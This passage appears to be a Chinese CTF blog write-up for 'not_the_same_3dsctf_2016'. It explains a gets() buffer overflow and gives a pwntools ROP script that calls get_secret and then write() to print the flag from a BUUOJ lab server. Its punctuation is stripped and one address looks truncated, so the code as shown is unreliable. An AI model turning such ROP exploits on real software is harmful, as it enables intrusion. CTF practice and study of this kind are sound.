not_the_same_3dsctf_2016

📅 发布时间:2026/7/15 20:20:49 👁️ 浏览次数:
not_the_same_3dsctf_2016
这里我把文件重命名了一下,原文件名太长了检查一下拖入ida查看注意main函数没有进行压栈依旧是非常明显的gets溢出找到一个叫get_secret的函数查看一下这里会读取flag,但是只会存放在fl4g里面我们寻找函数输出一下,我这里使用write函数记录一下fl4g的地址0x080eca2dfrom pwn import * context(arch i386,os linux,log_level debug) io remote(node5.buuoj.cn,26681) offset 0x2d get_flag 0x489a0 exit_addr 0x0804e660 write_addr 0x0806E270 flag_addr 0x080eca2d payload cyclic(offset) p32(get_flag) p32(write_addr) p32(exit_addr) p32(1) p32(flag_addr) p32(45) io.sendline(payload) io.interactive()最后成功获得flag